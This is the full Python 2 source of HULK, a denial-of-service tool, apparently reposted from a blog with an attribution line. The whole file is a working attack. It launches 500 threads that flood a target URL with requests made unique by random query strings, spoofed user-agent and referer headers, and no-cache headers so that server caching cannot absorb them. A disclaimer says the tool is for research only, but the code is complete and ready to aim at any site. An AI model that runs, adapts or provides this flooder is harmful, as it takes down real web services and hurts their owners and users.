Hulk DDOS Tool (Python)

# Source: http://adf.ly/TWxk1
# Infi-Zeal Technologies
# Regards,
# Hardeep Singh
# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
#
# author :  Barry Shteiman , version 1.0
# ----------------------------------------------------------------------------------------------
import urllib2
import sys
import threading
import random
import re
#global params
url=''
host=''
headers_useragents=[]
headers_referers=[]
request_counter=0
flag=0
safe=0
def inc_counter():
        global request_counter
        request_counter+=1
def set_flag(val):
        global flag
        flag=val
def set_safe():
        global safe
        safe=1
       
# generates a user agent array
def useragent_list():
        global headers_useragents
        headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
        headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
        headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
        headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
        headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
        return(headers_useragents)
# generates a referer array
def referer_list():
        global headers_referers
        headers_referers.append('http://www.google.com/?q=')
        headers_referers.append('http://www.usatoday.com/search/results?q=')
        headers_referers.append('http://engadget.search.aol.com/search?q=')
        headers_referers.append('http://' + host + '/')
        return(headers_referers)
       
#builds random ascii string
def buildblock(size):
        out_str = ''
        for i in range(0, size):
                a = random.randint(65, 90)
                out_str += chr(a)
        return(out_str)
def usage():
        print '---------------------------------------------------'
        print 'USAGE: python hulk.py <url>'
        print 'you can add "safe" after url, to autoshut after dos'
        print '---------------------------------------------------'
       
#http request
def httpcall(url):
        useragent_list()
        referer_list()
        code=0
        if url.count("?")>0:
                param_joiner="&"
        else:
                param_joiner="?"
        request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
        request.add_header('User-Agent', random.choice(headers_useragents))
        request.add_header('Cache-Control', 'no-cache')
        request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
        request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
        request.add_header('Keep-Alive', random.randint(110,120))
        request.add_header('Connection', 'keep-alive')
        request.add_header('Host',host)
        try:
                        urllib2.urlopen(request)
        except urllib2.HTTPError, e:
                        #print e.code
                        set_flag(1)
                        print 'Response Code 500'
                        code=500
        except urllib2.URLError, e:
                        #print e.reason
                        sys.exit()
        else:
                        inc_counter()
                        urllib2.urlopen(request)
        return(code)           
       
#http caller thread
class HTTPThread(threading.Thread):
        def run(self):
                try:
                        while flag<2:
                                code=httpcall(url)
                                if (code==500) & (safe==1):
                                        set_flag(2)
                except Exception, ex:
                        pass
# monitors http threads and counts requests
class MonitorThread(threading.Thread):
        def run(self):
                previous=request_counter
                while flag==0:
                        if (previous+100<request_counter) & (previous<>request_counter):
                                print "%d Requests Sent" % (request_counter)
                                previous=request_counter
                if flag==2:
                        print "\n-- HULK Attack Finished --"
#execute
if len(sys.argv) < 2:
        usage()
        sys.exit()
else:
        if sys.argv[1]=="help":
                usage()
                sys.exit()
        else:
                print "-- HULK Attack Started --"
                if len(sys.argv)== 3:
                        if sys.argv[2]=="safe":
                                set_safe()
                url = sys.argv[1]
                if url.count("/")==2:
                        url = url + "/"
                m = re.search('http\://([^/]*)/?.*', url)
                host = m.group(1)
                for i in range(500):
                        t = HTTPThread()
                        t.start()
                t = MonitorThread()
                t.start()